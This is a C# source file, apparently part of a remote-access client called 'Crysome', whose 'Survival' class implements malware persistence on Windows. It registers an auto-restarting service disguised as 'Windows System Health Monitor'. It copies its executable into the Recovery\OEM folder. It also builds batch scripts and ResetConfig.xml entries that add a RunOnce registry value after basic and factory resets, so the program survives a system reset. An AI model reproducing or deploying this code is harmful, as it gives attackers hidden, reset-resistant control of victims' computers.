258 lines
7.5 KiB
C#
258 lines
7.5 KiB
C#
using System;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Linq;
|
|
using System.Xml.Linq;
|
|
|
|
namespace Crysome.Client.Configuration;
|
|
|
|
public static class Survival
|
|
{
|
|
private static readonly Random _rnd = new Random();
|
|
|
|
private static string SystemDrive => Path.GetPathRoot(Environment.SystemDirectory);
|
|
|
|
private static string OEMPath => Path.Combine(SystemDrive, "Recovery", "OEM");
|
|
|
|
private static string BackupPath => Path.Combine(OEMPath, "CrysomeBackup");
|
|
|
|
private static string ResetConfigPath => Path.Combine(OEMPath, "ResetConfig.xml");
|
|
|
|
private static string RandomString(int len)
|
|
{
|
|
return new string((from _ in Enumerable.Range(0, len)
|
|
select "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"[_rnd.Next("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".Length)]).ToArray());
|
|
}
|
|
|
|
private static string EscapePayload(string cmd)
|
|
{
|
|
return cmd.Replace("%", "%%").Replace("^", "^^").Replace("&", "^&")
|
|
.Replace("|", "^|")
|
|
.Replace("<", "^<")
|
|
.Replace(">", "^>")
|
|
.Replace("\"", "\"\"");
|
|
}
|
|
|
|
private static string CreatePayload(string command)
|
|
{
|
|
string text = RandomString(20);
|
|
string text2 = EscapePayload(command);
|
|
return "\r\n@echo off\r\nfor /F \"tokens=1,2,3 delims= \" %%%A in ('reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\RecoveryEnvironment\" /v TargetOS') DO SET TARGETOS=%%%C\r\n\r\nfor /F \"tokens=1 delims=\\\" %%%A in ('Echo %TARGETOS%') DO SET TARGETOSDRIVE=%%%A\r\n\r\nreg load HKLM\\" + text + " %TARGETOSDRIVE%\\windows\\system32\\config\\SOFTWARE\r\n\r\nreg add HKLM\\" + text + "\\Microsoft\\Windows\\CurrentVersion\\RunOnce /v " + text + " /t REG_SZ /d \"" + text2 + "\"\r\n\r\nreg unload HKLM\\" + text + "\r\n\r\n\r\n";
|
|
}
|
|
|
|
public static void Install()
|
|
{
|
|
if (!ClientConfiguration.IsFeatureEnabled("survival"))
|
|
{
|
|
return;
|
|
}
|
|
try
|
|
{
|
|
InstallService();
|
|
InstallResetSurvival();
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Program.Log("Survival error: " + ex.Message);
|
|
}
|
|
}
|
|
|
|
private static void InstallResetSurvival()
|
|
{
|
|
try
|
|
{
|
|
string processPath = ClientConfiguration.GetProcessPath();
|
|
if (!string.IsNullOrEmpty(processPath) && File.Exists(processPath) && CreateEnvironment())
|
|
{
|
|
byte[] bytes = File.ReadAllBytes(processPath);
|
|
string text = RandomString(12) + ".exe";
|
|
string text2 = Path.Combine(OEMPath, text);
|
|
File.WriteAllBytes(text2, bytes);
|
|
Program.Log("Survival: Reset stub written " + text);
|
|
CreatePayload("cmd /c " + text2);
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
private static void InstallService()
|
|
{
|
|
try
|
|
{
|
|
string processPath = ClientConfiguration.GetProcessPath();
|
|
string text = "WindowsHealthMonitor";
|
|
string text2 = "Windows System Health Monitor";
|
|
string text3 = "Monitors system health and performance diagnostics.";
|
|
if (ServiceExists(text))
|
|
{
|
|
Program.Log("Survival: Service already exists.");
|
|
return;
|
|
}
|
|
RunSc("create \"" + text + "\" binPath= \"" + processPath + "\" start= auto DisplayName= \"" + text2 + "\"");
|
|
RunSc("description \"" + text + "\" \"" + text3 + "\"");
|
|
RunSc("failure \"" + text + "\" reset= 0 actions= restart/60000/restart/60000/restart/60000");
|
|
RunSc("start \"" + text + "\"");
|
|
Program.Log("Survival: Service installed (" + text + ")");
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Program.Log("Survival: Service install failed - " + ex.Message);
|
|
}
|
|
}
|
|
|
|
private static bool ServiceExists(string serviceName)
|
|
{
|
|
try
|
|
{
|
|
Process process = Process.Start(new ProcessStartInfo("sc", "query \"" + serviceName + "\"")
|
|
{
|
|
UseShellExecute = false,
|
|
CreateNoWindow = true,
|
|
RedirectStandardOutput = true
|
|
});
|
|
string text = process.StandardOutput.ReadToEnd();
|
|
process.WaitForExit();
|
|
return !text.Contains("1060");
|
|
}
|
|
catch
|
|
{
|
|
return false;
|
|
}
|
|
}
|
|
|
|
private static void RunSc(string args)
|
|
{
|
|
try
|
|
{
|
|
Process.Start(new ProcessStartInfo("sc", args)
|
|
{
|
|
UseShellExecute = false,
|
|
CreateNoWindow = true,
|
|
WindowStyle = ProcessWindowStyle.Hidden
|
|
}).WaitForExit();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
private static bool CreateEnvironment()
|
|
{
|
|
try
|
|
{
|
|
if (!Directory.Exists(OEMPath))
|
|
{
|
|
Directory.CreateDirectory(OEMPath);
|
|
}
|
|
if (Directory.Exists(BackupPath))
|
|
{
|
|
return false;
|
|
}
|
|
Directory.CreateDirectory(BackupPath);
|
|
return true;
|
|
}
|
|
catch
|
|
{
|
|
return false;
|
|
}
|
|
}
|
|
|
|
private static bool BackupConfig(string basicBat, string factoryBat, string stubName)
|
|
{
|
|
try
|
|
{
|
|
File.WriteAllLines(Path.Combine(BackupPath, "DELETEME"), new string[3] { basicBat, factoryBat, stubName });
|
|
if (File.Exists(ResetConfigPath))
|
|
{
|
|
File.Copy(ResetConfigPath, Path.Combine(BackupPath, "configBackup"), overwrite: true);
|
|
}
|
|
return true;
|
|
}
|
|
catch
|
|
{
|
|
return false;
|
|
}
|
|
}
|
|
|
|
private static void SaveScript(string fileName, string payload, string extra = null)
|
|
{
|
|
string text = payload;
|
|
if (!string.IsNullOrEmpty(extra))
|
|
{
|
|
text += extra;
|
|
}
|
|
File.WriteAllText(Path.Combine(OEMPath, fileName), text);
|
|
}
|
|
|
|
private static void CreateOrUpdateResetConfig(string basicBat, string factoryBat, string payload)
|
|
{
|
|
if (!File.Exists(ResetConfigPath))
|
|
{
|
|
CreateNewConfig(basicBat, factoryBat, payload);
|
|
}
|
|
else
|
|
{
|
|
UpdateExistingConfig(basicBat, factoryBat, payload);
|
|
}
|
|
}
|
|
|
|
private static XElement CreateRunElem(string phase, string path, int duration)
|
|
{
|
|
return new XElement("Run", new XAttribute("Phase", phase), new XElement("Path", path), new XElement("Duration", duration));
|
|
}
|
|
|
|
private static void CreateNewConfig(string basicBat, string factoryBat, string payload)
|
|
{
|
|
new XDocument(new XDeclaration("1.0", "utf-8", null), new XElement("Reset", CreateRunElem("BasicReset_AfterImageApply", basicBat, 1), CreateRunElem("FactoryReset_AfterImageApply", factoryBat, 1))).Save(ResetConfigPath);
|
|
SaveScript(basicBat, payload);
|
|
SaveScript(factoryBat, payload);
|
|
}
|
|
|
|
private static void UpdateExistingConfig(string basicBat, string factoryBat, string payload)
|
|
{
|
|
XElement xElement = XElement.Load(ResetConfigPath);
|
|
XElement[] array = (from e in xElement.Elements("Run")
|
|
where (string)e.Attribute("Phase") == "FactoryReset_AfterImageApply" || (string)e.Attribute("Phase") == "BasicReset_AfterImageApply"
|
|
select e).ToArray();
|
|
int num = 1;
|
|
XElement[] array2 = array;
|
|
for (int num2 = 0; num2 < array2.Length; num2++)
|
|
{
|
|
XElement xElement2 = array2[num2].Element("Duration");
|
|
if (xElement2 != null && int.TryParse(xElement2.Value, out var result) && result > num)
|
|
{
|
|
num = result;
|
|
}
|
|
}
|
|
string text = UpdatePhase(array, "BasicReset_AfterImageApply", basicBat);
|
|
string text2 = UpdatePhase(array, "FactoryReset_AfterImageApply", factoryBat);
|
|
if (text == null)
|
|
{
|
|
xElement.Add(CreateRunElem("BasicReset_AfterImageApply", basicBat, num));
|
|
}
|
|
if (text2 == null)
|
|
{
|
|
xElement.Add(CreateRunElem("FactoryReset_AfterImageApply", factoryBat, num));
|
|
}
|
|
SaveScript(basicBat, payload, text);
|
|
SaveScript(factoryBat, payload, text2);
|
|
xElement.Save(ResetConfigPath);
|
|
}
|
|
|
|
private static string UpdatePhase(XElement[] phases, string phaseName, string fileName)
|
|
{
|
|
XElement xElement = phases.FirstOrDefault((XElement e) => (string)e.Attribute("Phase") == phaseName);
|
|
if (xElement == null)
|
|
{
|
|
return null;
|
|
}
|
|
string text = "%TARGETOSDRIVE%\\Recovery\\OEM\\" + (string)xElement.Element("Path");
|
|
string text2 = ((string)xElement.Element("Param")) ?? "";
|
|
xElement.Element("Param")?.Remove();
|
|
xElement.Element("Path").Value = fileName;
|
|
return "\"" + text + "\" " + text2;
|
|
}
|
|
}
|